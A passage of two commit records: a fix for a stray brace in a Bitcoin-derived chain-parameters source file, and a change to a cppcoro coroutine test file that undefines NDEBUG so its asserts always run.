ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-segwitheight=<n>\", \"Set the activation height of segwit. -1 to disable. (regtest-only)\", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);\n    argsman.AddArg(\"-testnet\", \"Use the test chain. Equivalent to -chain=test.\", ArgsManager::ALLOW_ANY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-vbparams=deployment:start:end\", \"Use given start\/end times for specified version bits deployment (regtest-only)\", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-signet\", \"Use the signet chain. Note that the network is defined by the -signetchallenge parameter\", ArgsManager::ALLOW_ANY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-signetchallenge\", \"Blocks must satisfy the given script to be considered valid (only for signet networks; defaults to the global default signet test network challenge)\", ArgsManager::ALLOW_STRING, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-signetseednode\", \"Specify a seed node for the signet network, in the hostname[:port] format, e.g. sig.net:1234 (may be used multiple times to specify multiple seed nodes; defaults to the global default signet test network seed node(s))\", ArgsManager::ALLOW_STRING, OptionsCategory::CHAINPARAMS);\n}\n\nstatic std::unique_ptr<CBaseChainParams> globalChainBaseParams;\n\nconst CBaseChainParams& BaseParams()\n{\n    assert(globalChainBaseParams);\n    return *globalChainBaseParams;\n}\n\nstd::unique_ptr<CBaseChainParams> CreateBaseChainParams(const std::string& chain)\n{\n    if (chain == CBaseChainParams::MAIN)\n        return MakeUnique<CBaseChainParams>(\"\", 8370);\n    else if (chain == CBaseChainParams::TESTNET)\n        return MakeUnique<CBaseChainParams>(\"testnet3\", 18370);\n    else if (chain == CBaseChainParams::REGTEST)\n        return MakeUnique<CBaseChainParams>(\"regtest\", 18470);\n    else if (chain == CBaseChainParams::SIGNET) {\n        return MakeUnique<CBaseChainParams>(\"signet\", 38370);\n    else\n        throw std::runtime_error(strprintf(\"%s: Unknown chain %s.\", __func__, chain));\n}\n\nvoid SelectBaseParams(const std::string& chain)\n{\n    globalChainBaseParams = CreateBaseChainParams(chain);\n    gArgs.SelectConfigNetwork(chain);\n}\n<commit_msg>compile<commit_after>\/\/ Copyright (c) 2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <chainparamsbase.h>\n\n#include <tinyformat.h>\n#include <util\/system.h>\n#include <util\/memory.h>\n\n#include <assert.h>\n\nconst std::string CBaseChainParams::MAIN = \"main\";\nconst std::string CBaseChainParams::TESTNET = \"test\";\nconst std::string CBaseChainParams::SIGNET = \"signet\";\nconst std::string CBaseChainParams::REGTEST = \"regtest\";\n\nvoid SetupChainParamsBaseOptions(ArgsManager& argsman)\n{\n    argsman.AddArg(\"-chain=<chain>\", \"Use the chain <chain> (default: main). Allowed values: main, test, regtest\", ArgsManager::ALLOW_ANY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-regtest\", \"Enter regression test mode, which uses a special chain in which blocks can be solved instantly. \"\n                 \"This is intended for regression testing tools and app development. Equivalent to -chain=regtest.\", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-segwitheight=<n>\", \"Set the activation height of segwit. -1 to disable. (regtest-only)\", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::DEBUG_TEST);\n    argsman.AddArg(\"-testnet\", \"Use the test chain. Equivalent to -chain=test.\", ArgsManager::ALLOW_ANY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-vbparams=deployment:start:end\", \"Use given start\/end times for specified version bits deployment (regtest-only)\", ArgsManager::ALLOW_ANY | ArgsManager::DEBUG_ONLY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-signet\", \"Use the signet chain. Note that the network is defined by the -signetchallenge parameter\", ArgsManager::ALLOW_ANY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-signetchallenge\", \"Blocks must satisfy the given script to be considered valid (only for signet networks; defaults to the global default signet test network challenge)\", ArgsManager::ALLOW_STRING, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-signetseednode\", \"Specify a seed node for the signet network, in the hostname[:port] format, e.g. sig.net:1234 (may be used multiple times to specify multiple seed nodes; defaults to the global default signet test network seed node(s))\", ArgsManager::ALLOW_STRING, OptionsCategory::CHAINPARAMS);\n}\n\nstatic std::unique_ptr<CBaseChainParams> globalChainBaseParams;\n\nconst CBaseChainParams& BaseParams()\n{\n    assert(globalChainBaseParams);\n    return *globalChainBaseParams;\n}\n\nstd::unique_ptr<CBaseChainParams> CreateBaseChainParams(const std::string& chain)\n{\n    if (chain == CBaseChainParams::MAIN)\n        return MakeUnique<CBaseChainParams>(\"\", 8370);\n    else if (chain == CBaseChainParams::TESTNET)\n        return MakeUnique<CBaseChainParams>(\"testnet3\", 18370);\n    else if (chain == CBaseChainParams::REGTEST)\n        return MakeUnique<CBaseChainParams>(\"regtest\", 18470);\n    else if (chain == CBaseChainParams::SIGNET)\n        return MakeUnique<CBaseChainParams>(\"signet\", 38370);\n    else\n        throw std::runtime_error(strprintf(\"%s: Unknown chain %s.\", __func__, chain));\n}\n\nvoid SelectBaseParams(const std::string& chain)\n{\n    globalChainBaseParams = CreateBaseChainParams(chain);\n    gArgs.SelectConfigNetwork(chain);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Copyright (c) Lewis Baker\n\/\/ Licenced under MIT license. See LICENSE.txt for details.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <cppcoro\/task.hpp>\n#include <cppcoro\/lazy_task.hpp>\n#include <cppcoro\/single_consumer_event.hpp>\n#include <cppcoro\/async_mutex.hpp>\n\n#include <memory>\n\n#include <cassert>\n\nstruct counter\n{\n\tstatic int default_construction_count;\n\tstatic int copy_construction_count;\n\tstatic int move_construction_count;\n\tstatic int destruction_count;\n\n\tint id;\n\n\tstatic void reset_counts()\n\t{\n\t\tdefault_construction_count = 0;\n\t\tcopy_construction_count = 0;\n\t\tmove_construction_count = 0;\n\t\tdestruction_count = 0;\n\t}\n\n\tstatic int construction_count()\n\t{\n\t\treturn default_construction_count + copy_construction_count + move_construction_count;\n\t}\n\n\tstatic int active_count()\n\t{\n\t\treturn construction_count() - destruction_count;\n\t}\n\n\tcounter() : id(default_construction_count++) {}\n\tcounter(const counter& other) : id(other.id) { ++copy_construction_count; }\n\tcounter(counter&& other) : id(other.id) { ++move_construction_count; other.id = -1; }\n\t~counter() { ++destruction_count; }\n\n};\n\nint counter::default_construction_count;\nint counter::copy_construction_count;\nint counter::move_construction_count;\nint counter::destruction_count;\n\nvoid testAwaitSynchronouslyCompletingVoidFunction()\n{\n\tauto doNothingAsync = []() -> cppcoro::task<>\n\t{\n\t\tco_return;\n\t};\n\n\tauto task = doNothingAsync();\n\n\tassert(task.is_ready());\n\n\tbool ok = false;\n\tauto test = [&]() -> cppcoro::task<>\n\t{\n\t\tco_await task;\n\t\tok = true;\n\t};\n\n\ttest();\n\n\tassert(ok);\n}\n\nvoid testAwaitTaskReturningMoveOnlyType()\n{\n\tauto getIntPtrAsync = []() -> cppcoro::task<std::unique_ptr<int>>\n\t{\n\t\tco_return std::make_unique<int>(123);\n\t};\n\n\tauto test = [&]() -> cppcoro::task<>\n\t{\n\t\tauto intPtr = co_await getIntPtrAsync();\n\t\tassert(*intPtr == 123);\n\n\t\tauto intPtrTask = getIntPtrAsync();\n\t\t{\n\t\t\t\/\/ co_await yields l-value reference if task is l-value\n\t\t\tauto& intPtr2 = co_await intPtrTask;\n\t\t\tassert(*intPtr2 == 123);\n\t\t}\n\n\t\t{\n\t\t\t\/\/ Returns r-value reference if task is r-value\n\t\t\tauto intPtr3 = co_await std::move(intPtrTask);\n\t\t\tassert(*intPtr3 == 123);\n\t\t}\n\t};\n\n\tauto task = test();\n\n\tassert(task.is_ready());\n}\n\nvoid testAwaitTaskReturningReference()\n{\n\tint value = 0;\n\tauto getRefAsync = [&]() -> cppcoro::task<int&>\n\t{\n\t\tco_return value;\n\t};\n\n\tauto test = [&]() -> cppcoro::task<>\n\t{\n\t\t\/\/ Await r-value task results in l-value reference\n\t\tdecltype(auto) result = co_await getRefAsync();\n\t\tassert(&result == &value);\n\n\t\t\/\/ Await l-value task results in l-value reference\n\t\tauto getRefTask = getRefAsync();\n\t\tdecltype(auto) result2 = co_await getRefTask;\n\t\tassert(&result2 == &value);\n\t};\n\n\tauto task = test();\n\tassert(task.is_ready());\n}\n\nvoid testAwaitTaskReturningValueMovesIntoPromiseIfPassedRValue()\n{\n\tcounter::reset_counts();\n\n\tauto f = []() -> cppcoro::task<counter>\n\t{\n\t\tco_return counter{};\n\t};\n\n\tassert(counter::active_count() == 0);\n\n\t{\n\t\tauto t = f();\n\t\tassert(counter::default_construction_count == 1);\n\t\tassert(counter::copy_construction_count == 0);\n\t\tassert(counter::move_construction_count == 1);\n\t\tassert(counter::destruction_count == 1);\n\t\tassert(counter::active_count() == 1);\n\n\t\t\/\/ Moving task doesn't move\/copy result.\n\t\tauto t2 = std::move(t);\n\t\tassert(counter::default_construction_count == 1);\n\t\tassert(counter::copy_construction_count == 0);\n\t\tassert(counter::move_construction_count == 1);\n\t\tassert(counter::destruction_count == 1);\n\t\tassert(counter::active_count() == 1);\n\t}\n\n\tassert(counter::active_count() == 0);\n}\n\nvoid testAwaitTaskReturningValueCopiesIntoPromiseIfPassedLValue()\n{\n\tcounter::reset_counts();\n\n\tauto f = []() -> cppcoro::task<counter>\n\t{\n\t\tcounter temp;\n\n\t\t\/\/ Should be calling copy-constructor here since <promise>.return_value()\n\t\t\/\/ is being passed an l-value reference.\n\t\tco_return temp;\n\t};\n\n\tassert(counter::active_count() == 0);\n\n\t{\n\t\tauto t = f();\n\t\tassert(counter::default_construction_count == 1);\n\t\tassert(counter::copy_construction_count == 1);\n\t\tassert(counter::move_construction_count == 0);\n\t\tassert(counter::destruction_count == 1);\n\t\tassert(counter::active_count() == 1);\n\n\t\t\/\/ Moving the task doesn't move\/copy the result\n\t\tauto t2 = std::move(t);\n\t\tassert(counter::default_construction_count == 1);\n\t\tassert(counter::copy_construction_count == 1);\n\t\tassert(counter::move_construction_count == 0);\n\t\tassert(counter::destruction_count == 1);\n\t\tassert(counter::active_count() == 1);\n\t}\n\n\tassert(counter::active_count() == 0);\n}\n\nvoid testAwaitDelayedCompletionChain()\n{\n\tcppcoro::single_consumer_event event;\n\tbool reachedPointA = false;\n\tbool reachedPointB = false;\n\tauto async1 = [&]() -> cppcoro::task<int>\n\t{\n\t\treachedPointA = true;\n\t\tco_await event;\n\t\treachedPointB = true;\n\t\tco_return 1;\n\t};\n\n\tbool reachedPointC = false;\n\tbool reachedPointD = false;\n\tauto async2 = [&]() -> cppcoro::task<int>\n\t{\n\t\treachedPointC = true;\n\t\tint result = co_await async1();\n\t\treachedPointD = true;\n\t\tco_return result;\n\t};\n\n\tauto task = async2();\n\n\tassert(!task.is_ready());\n\tassert(reachedPointA);\n\tassert(!reachedPointB);\n\tassert(reachedPointC);\n\tassert(!reachedPointD);\n\n\tevent.set();\n\n\tassert(task.is_ready());\n\tassert(reachedPointB);\n\tassert(reachedPointD);\n\n\t[](cppcoro::task<int> t) -> cppcoro::task<>\n\t{\n\t\tint value = co_await t;\n\t\tassert(value == 1);\n\t}(std::move(task));\n}\n\nvoid testAwaitingBrokenPromiseThrows()\n{\n\tbool ok = false;\n\tauto test = [&]() -> cppcoro::task<>\n\t{\n\t\tcppcoro::task<> broken;\n\t\ttry\n\t\t{\n\t\t\tco_await broken;\n\t\t}\n\t\tcatch (cppcoro::broken_promise)\n\t\t{\n\t\t\tok = true;\n\t\t}\n\t};\n\n\tauto t = test();\n\tassert(t.is_ready());\n\tassert(ok);\n}\n\nvoid testAwaitRethrowsException()\n{\n\tclass X {};\n\n\tauto run = [](bool doThrow) -> cppcoro::task<>\n\t{\n\t\tif (doThrow) throw X{};\n\t\tco_return;\n\t};\n\n\tauto t = run(true);\n\n\tbool ok = false;\n\tauto consumeT = [&]() -> cppcoro::task<>\n\t{\n\t\ttry\n\t\t{\n\t\t\tco_await t;\n\t\t}\n\t\tcatch (X)\n\t\t{\n\t\t\tok = true;\n\t\t}\n\t};\n\n\tauto consumer = consumeT();\n\n\tassert(t.is_ready());\n\tassert(consumer.is_ready());\n\tassert(ok);\n}\n\nvoid testAwaitWhenReadyDoesntThrowException()\n{\n\tclass X {};\n\n\tauto run = [](bool doThrow) -> cppcoro::task<>\n\t{\n\t\tif (doThrow) throw X{};\n\t\tco_return;\n\t};\n\n\tauto t = run(true);\n\n\tbool ok = false;\n\tauto consumeT = [&]() -> cppcoro::task<>\n\t{\n\t\ttry\n\t\t{\n\t\t\tco_await t.when_ready();\n\t\t\tok = true;\n\t\t}\n\t\tcatch (...)\n\t\t{\n\t\t}\n\t};\n\n\tauto consumer = consumeT();\n\n\tassert(t.is_ready());\n\tassert(consumer.is_ready());\n\tassert(ok);\n}\n\nvoid testLazyTaskDoesntStartUntilAwaited()\n{\n\tbool started = false;\n\tauto func = [&]() -> cppcoro::lazy_task<>\n\t{\n\t\tstarted = true;\n\t\tco_return;\n\t};\n\n\tauto t = func();\n\tassert(!started);\n\n\t[&]() -> cppcoro::task<>\n\t{\n\t\tco_await t;\n\t}();\n\n\tassert(started);\n}\n\nvoid testAwaitingDefaultConstructedLazyTaskThrowsBrokenPromise()\n{\n\tbool ok = false;\n\t[&]() -> cppcoro::task<>\n\t{\n\t\tcppcoro::lazy_task<> t;\n\t\ttry\n\t\t{\n\t\t\tco_await t;\n\t\t\tassert(false);\n\t\t}\n\t\tcatch (const cppcoro::broken_promise&)\n\t\t{\n\t\t\tok = true;\n\t\t}\n\t\tcatch (...)\n\t\t{\n\t\t\tassert(false);\n\t\t}\n\t}();\n\n\tassert(ok);\n}\n\nvoid testAwaitingLazyTaskThatCompletesAsynchronously()\n{\n\tbool reachedBeforeEvent = false;\n\tbool reachedAfterEvent = false;\n\tcppcoro::single_consumer_event event;\n\tauto f = [&]() -> cppcoro::lazy_task<>\n\t{\n\t\treachedBeforeEvent = true;\n\t\tco_await event;\n\t\treachedAfterEvent = true;\n\t};\n\n\tauto t = f();\n\n\tassert(!t.is_ready());\n\tassert(!reachedBeforeEvent);\n\n\tauto t2 = [](cppcoro::lazy_task<>& t) -> cppcoro::task<>\n\t{\n\t\tco_await t;\n\t}(t);\n\n\tassert(!t2.is_ready());\n\n\tevent.set();\n\n\tassert(t.is_ready());\n\tassert(t2.is_ready());\n\tassert(reachedAfterEvent);\n}\n\nvoid testLazyTaskNeverAwaitedDestroysCapturedArgs()\n{\n\tcounter::reset_counts();\n\n\tauto f = [](counter c) -> cppcoro::lazy_task<counter>\n\t{\n\t\tco_return c;\n\t};\n\n\tassert(counter::active_count() == 0);\n\n\t{\n\t\tauto t = f(counter{});\n\t\tassert(counter::active_count() == 1);\n\t}\n\n\tassert(counter::active_count() == 0);\n}\n\nvoid testLazyTaskResultLifetime()\n{\n\tcounter::reset_counts();\n\n\tauto f = []() -> cppcoro::lazy_task<counter>\n\t{\n\t\tco_return counter{};\n\t};\n\n\t{\n\t\tauto t = f();\n\t\tassert(counter::active_count() == 0);\n\n\t\t[](cppcoro::lazy_task<counter>& t) -> cppcoro::task<>\n\t\t{\n\t\t\tco_await t;\n\t\t\tassert(t.is_ready());\n\t\t\tassert(counter::active_count() == 1);\n\t\t}(t);\n\n\t\tassert(counter::active_count() == 1);\n\t}\n\n\tassert(counter::active_count() == 0);\n}\n\nvoid testLazyTaskReturnByReference()\n{\n\tint value = 3;\n\tauto f = [&]() -> cppcoro::lazy_task<int&>\n\t{\n\t\tco_return value;\n\t};\n\n\tauto g = [&]() -> cppcoro::task<>\n\t{\n\t\t{\n\t\t\tdecltype(auto) result = co_await f();\n\t\t\tstatic_assert(\n\t\t\t\tstd::is_same<decltype(result), int&>::value,\n\t\t\t\t\"co_await r-value reference of lazy_task<int&> should result in an int&\");\n\t\t\tassert(&result == &value);\n\t\t}\n\t\t{\n\t\t\tauto t = f();\n\t\t\tdecltype(auto) result = co_await t;\n\t\t\tstatic_assert(\n\t\t\t\tstd::is_same<decltype(result), int&>::value,\n\t\t\t\t\"co_await l-value reference of lazy_task<int&> should result in an int&\");\n\t\t\tassert(&result == &value);\n\t\t}\n\t};\n\n\tauto t = g();\n\tassert(t.is_ready());\n}\n\nvoid testAsyncMutex()\n{\n\tint value = 0;\n\tcppcoro::async_mutex mutex;\n\tcppcoro::single_consumer_event a;\n\tcppcoro::single_consumer_event b;\n\tcppcoro::single_consumer_event c;\n\tcppcoro::single_consumer_event d;\n\n\tauto f = [&](cppcoro::single_consumer_event& e) -> cppcoro::task<>\n\t{\n\t\tcppcoro::async_mutex_lock lock = co_await mutex.lock_async();\n\t\tco_await e;\n\t\t++value;\n\t};\n\n\tauto t1 = f(a);\n\tassert(!t1.is_ready());\n\tassert(value == 0);\n\n\tauto t2 = f(b);\n\tauto t3 = f(c);\n\n\ta.set();\n\n\tassert(value == 1);\n\n\tauto t4 = f(d);\n\n\tb.set();\n\n\tassert(value == 2);\n\n\tc.set();\n\n\tassert(value == 3);\n\n\td.set();\n\n\tassert(value == 4);\n\n\tassert(t1.is_ready());\n\tassert(t2.is_ready());\n\tassert(t3.is_ready());\n\tassert(t4.is_ready());\n}\n\nint main(int argc, char** argv)\n{\n\ttestAwaitSynchronouslyCompletingVoidFunction();\n\ttestAwaitTaskReturningMoveOnlyType();\n\ttestAwaitTaskReturningReference();\n\ttestAwaitDelayedCompletionChain();\n\ttestAwaitTaskReturningValueMovesIntoPromiseIfPassedRValue();\n\ttestAwaitTaskReturningValueCopiesIntoPromiseIfPassedLValue();\n\ttestAwaitingBrokenPromiseThrows();\n\ttestAwaitRethrowsException();\n\ttestAwaitWhenReadyDoesntThrowException();\n\n\ttestLazyTaskDoesntStartUntilAwaited();\n\ttestAwaitingDefaultConstructedLazyTaskThrowsBrokenPromise();\n\ttestAwaitingLazyTaskThatCompletesAsynchronously();\n\ttestLazyTaskResultLifetime();\n\ttestLazyTaskNeverAwaitedDestroysCapturedArgs();\n\ttestLazyTaskReturnByReference();\n\n\ttestAsyncMutex();\n\n\treturn 0;\n}\n<commit_msg>Undefine NDEBUG in test\/main.cpp so asserts are always enabled.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Copyright (c) Lewis Baker\n\/\/ Licenced under MIT license. See LICENSE.txt for details.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifdef NDEBUG\n# undef NDEBUG\n#endif\n\n#include <cppcoro\/task.hpp>\n#include <cppcoro\/lazy_task.hpp>\n#include <cppcoro\/single_consumer_event.hpp>\n#include <cppcoro\/async_mutex.hpp>\n\n#include <memory>\n\n#include <cassert>\n\nstruct counter\n{\n\tstatic int default_construction_count;\n\tstatic int copy_construction_count;\n\tstatic int move_construction_count;\n\tstatic int destruction_count;\n\n\tint id;\n\n\tstatic void reset_counts()\n\t{\n\t\tdefault_construction_count = 0;\n\t\tcopy_construction_count = 0;\n\t\tmove_construction_count = 0;\n\t\tdestruction_count = 0;\n\t}\n\n\tstatic int construction_count()\n\t{\n\t\treturn default_construction_count + copy_construction_count + move_construction_count;\n\t}\n\n\tstatic int active_count()\n\t{\n\t\treturn construction_count() - destruction_count;\n\t}\n\n\tcounter() : id(default_construction_count++) {}\n\tcounter(const counter& other) : id(other.id) { ++copy_construction_count; }\n\tcounter(counter&& other) : id(other.id) { ++move_construction_count; other.id = -1; }\n\t~counter() { ++destruction_count; }\n\n};\n\nint counter::default_construction_count;\nint counter::copy_construction_count;\nint counter::move_construction_count;\nint counter::destruction_count;\n\nvoid testAwaitSynchronouslyCompletingVoidFunction()\n{\n\tauto doNothingAsync = []() -> cppcoro::task<>\n\t{\n\t\tco_return;\n\t};\n\n\tauto task = doNothingAsync();\n\n\tassert(task.is_ready());\n\n\tbool ok = false;\n\tauto test = [&]() -> cppcoro::task<>\n\t{\n\t\tco_await task;\n\t\tok = true;\n\t};\n\n\ttest();\n\n\tassert(ok);\n}\n\nvoid testAwaitTaskReturningMoveOnlyType()\n{\n\tauto getIntPtrAsync = []() -> cppcoro::task<std::unique_ptr<int>>\n\t{\n\t\tco_return std::make_unique<int>(123);\n\t};\n\n\tauto test = [&]() -> cppcoro::task<>\n\t{\n\t\tauto intPtr = co_await getIntPtrAsync();\n\t\tassert(*intPtr == 123);\n\n\t\tauto intPtrTask = getIntPtrAsync();\n\t\t{\n\t\t\t\/\/ co_await yields l-value reference if task is l-value\n\t\t\tauto& intPtr2 = co_await intPtrTask;\n\t\t\tassert(*intPtr2 == 123);\n\t\t}\n\n\t\t{\n\t\t\t\/\/ Returns r-value reference if task is r-value\n\t\t\tauto intPtr3 = co_await std::move(intPtrTask);\n\t\t\tassert(*intPtr3 == 123);\n\t\t}\n\t};\n\n\tauto task = test();\n\n\tassert(task.is_ready());\n}\n\nvoid testAwaitTaskReturningReference()\n{\n\tint value = 0;\n\tauto getRefAsync = [&]() -> cppcoro::task<int&>\n\t{\n\t\tco_return value;\n\t};\n\n\tauto test = [&]() -> cppcoro::task<>\n\t{\n\t\t\/\/ Await r-value task results in l-value reference\n\t\tdecltype(auto) result = co_await getRefAsync();\n\t\tassert(&result == &value);\n\n\t\t\/\/ Await l-value task results in l-value reference\n\t\tauto getRefTask = getRefAsync();\n\t\tdecltype(auto) result2 = co_await getRefTask;\n\t\tassert(&result2 == &value);\n\t};\n\n\tauto task = test();\n\tassert(task.is_ready());\n}\n\nvoid testAwaitTaskReturningValueMovesIntoPromiseIfPassedRValue()\n{\n\tcounter::reset_counts();\n\n\tauto f = []() -> cppcoro::task<counter>\n\t{\n\t\tco_return counter{};\n\t};\n\n\tassert(counter::active_count() == 0);\n\n\t{\n\t\tauto t = f();\n\t\tassert(counter::default_construction_count == 1);\n\t\tassert(counter::copy_construction_count == 0);\n\t\tassert(counter::move_construction_count == 1);\n\t\tassert(counter::destruction_count == 1);\n\t\tassert(counter::active_count() == 1);\n\n\t\t\/\/ Moving task doesn't move\/copy result.\n\t\tauto t2 = std::move(t);\n\t\tassert(counter::default_construction_count == 1);\n\t\tassert(counter::copy_construction_count == 0);\n\t\tassert(counter::move_construction_count == 1);\n\t\tassert(counter::destruction_count == 1);\n\t\tassert(counter::active_count() == 1);\n\t}\n\n\tassert(counter::active_count() == 0);\n}\n\nvoid testAwaitTaskReturningValueCopiesIntoPromiseIfPassedLValue()\n{\n\tcounter::reset_counts();\n\n\tauto f = []() -> cppcoro::task<counter>\n\t{\n\t\tcounter temp;\n\n\t\t\/\/ Should be calling copy-constructor here since <promise>.return_value()\n\t\t\/\/ is being passed an l-value reference.\n\t\tco_return temp;\n\t};\n\n\tassert(counter::active_count() == 0);\n\n\t{\n\t\tauto t = f();\n\t\tassert(counter::default_construction_count == 1);\n\t\tassert(counter::copy_construction_count == 1);\n\t\tassert(counter::move_construction_count == 0);\n\t\tassert(counter::destruction_count == 1);\n\t\tassert(counter::active_count() == 1);\n\n\t\t\/\/ Moving the task doesn't move\/copy the result\n\t\tauto t2 = std::move(t);\n\t\tassert(counter::default_construction_count == 1);\n\t\tassert(counter::copy_construction_count == 1);\n\t\tassert(counter::move_construction_count == 0);\n\t\tassert(counter::destruction_count == 1);\n\t\tassert(counter::active_count() == 1);\n\t}\n\n\tassert(counter::active_count() == 0);\n}\n\nvoid testAwaitDelayedCompletionChain()\n{\n\tcppcoro::single_consumer_event event;\n\tbool reachedPointA = false;\n\tbool reachedPointB = false;\n\tauto async1 = [&]() -> cppcoro::task<int>\n\t{\n\t\treachedPointA = true;\n\t\tco_await event;\n\t\treachedPointB = true;\n\t\tco_return 1;\n\t};\n\n\tbool reachedPointC = false;\n\tbool reachedPointD = false;\n\tauto async2 = [&]() -> cppcoro::task<int>\n\t{\n\t\treachedPointC = true;\n\t\tint result = co_await async1();\n\t\treachedPointD = true;\n\t\tco_return result;\n\t};\n\n\tauto task = async2();\n\n\tassert(!task.is_ready());\n\tassert(reachedPointA);\n\tassert(!reachedPointB);\n\tassert(reachedPointC);\n\tassert(!reachedPointD);\n\n\tevent.set();\n\n\tassert(task.is_ready());\n\tassert(reachedPointB);\n\tassert(reachedPointD);\n\n\t[](cppcoro::task<int> t) -> cppcoro::task<>\n\t{\n\t\tint value = co_await t;\n\t\tassert(value == 1);\n\t}(std::move(task));\n}\n\nvoid testAwaitingBrokenPromiseThrows()\n{\n\tbool ok = false;\n\tauto test = [&]() -> cppcoro::task<>\n\t{\n\t\tcppcoro::task<> broken;\n\t\ttry\n\t\t{\n\t\t\tco_await broken;\n\t\t}\n\t\tcatch (cppcoro::broken_promise)\n\t\t{\n\t\t\tok = true;\n\t\t}\n\t};\n\n\tauto t = test();\n\tassert(t.is_ready());\n\tassert(ok);\n}\n\nvoid testAwaitRethrowsException()\n{\n\tclass X {};\n\n\tauto run = [](bool doThrow) -> cppcoro::task<>\n\t{\n\t\tif (doThrow) throw X{};\n\t\tco_return;\n\t};\n\n\tauto t = run(true);\n\n\tbool ok = false;\n\tauto consumeT = [&]() -> cppcoro::task<>\n\t{\n\t\ttry\n\t\t{\n\t\t\tco_await t;\n\t\t}\n\t\tcatch (X)\n\t\t{\n\t\t\tok = true;\n\t\t}\n\t};\n\n\tauto consumer = consumeT();\n\n\tassert(t.is_ready());\n\tassert(consumer.is_ready());\n\tassert(ok);\n}\n\nvoid testAwaitWhenReadyDoesntThrowException()\n{\n\tclass X {};\n\n\tauto run = [](bool doThrow) -> cppcoro::task<>\n\t{\n\t\tif (doThrow) throw X{};\n\t\tco_return;\n\t};\n\n\tauto t = run(true);\n\n\tbool ok = false;\n\tauto consumeT = [&]() -> cppcoro::task<>\n\t{\n\t\ttry\n\t\t{\n\t\t\tco_await t.when_ready();\n\t\t\tok = true;\n\t\t}\n\t\tcatch (...)\n\t\t{\n\t\t}\n\t};\n\n\tauto consumer = consumeT();\n\n\tassert(t.is_ready());\n\tassert(consumer.is_ready());\n\tassert(ok);\n}\n\nvoid testLazyTaskDoesntStartUntilAwaited()\n{\n\tbool started = false;\n\tauto func = [&]() -> cppcoro::lazy_task<>\n\t{\n\t\tstarted = true;\n\t\tco_return;\n\t};\n\n\tauto t = func();\n\tassert(!started);\n\n\t[&]() -> cppcoro::task<>\n\t{\n\t\tco_await t;\n\t}();\n\n\tassert(started);\n}\n\nvoid testAwaitingDefaultConstructedLazyTaskThrowsBrokenPromise()\n{\n\tbool ok = false;\n\t[&]() -> cppcoro::task<>\n\t{\n\t\tcppcoro::lazy_task<> t;\n\t\ttry\n\t\t{\n\t\t\tco_await t;\n\t\t\tassert(false);\n\t\t}\n\t\tcatch (const cppcoro::broken_promise&)\n\t\t{\n\t\t\tok = true;\n\t\t}\n\t\tcatch (...)\n\t\t{\n\t\t\tassert(false);\n\t\t}\n\t}();\n\n\tassert(ok);\n}\n\nvoid testAwaitingLazyTaskThatCompletesAsynchronously()\n{\n\tbool reachedBeforeEvent = false;\n\tbool reachedAfterEvent = false;\n\tcppcoro::single_consumer_event event;\n\tauto f = [&]() -> cppcoro::lazy_task<>\n\t{\n\t\treachedBeforeEvent = true;\n\t\tco_await event;\n\t\treachedAfterEvent = true;\n\t};\n\n\tauto t = f();\n\n\tassert(!t.is_ready());\n\tassert(!reachedBeforeEvent);\n\n\tauto t2 = [](cppcoro::lazy_task<>& t) -> cppcoro::task<>\n\t{\n\t\tco_await t;\n\t}(t);\n\n\tassert(!t2.is_ready());\n\n\tevent.set();\n\n\tassert(t.is_ready());\n\tassert(t2.is_ready());\n\tassert(reachedAfterEvent);\n}\n\nvoid testLazyTaskNeverAwaitedDestroysCapturedArgs()\n{\n\tcounter::reset_counts();\n\n\tauto f = [](counter c) -> cppcoro::lazy_task<counter>\n\t{\n\t\tco_return c;\n\t};\n\n\tassert(counter::active_count() == 0);\n\n\t{\n\t\tauto t = f(counter{});\n\t\tassert(counter::active_count() == 1);\n\t}\n\n\tassert(counter::active_count() == 0);\n}\n\nvoid testLazyTaskResultLifetime()\n{\n\tcounter::reset_counts();\n\n\tauto f = []() -> cppcoro::lazy_task<counter>\n\t{\n\t\tco_return counter{};\n\t};\n\n\t{\n\t\tauto t = f();\n\t\tassert(counter::active_count() == 0);\n\n\t\t[](cppcoro::lazy_task<counter>& t) 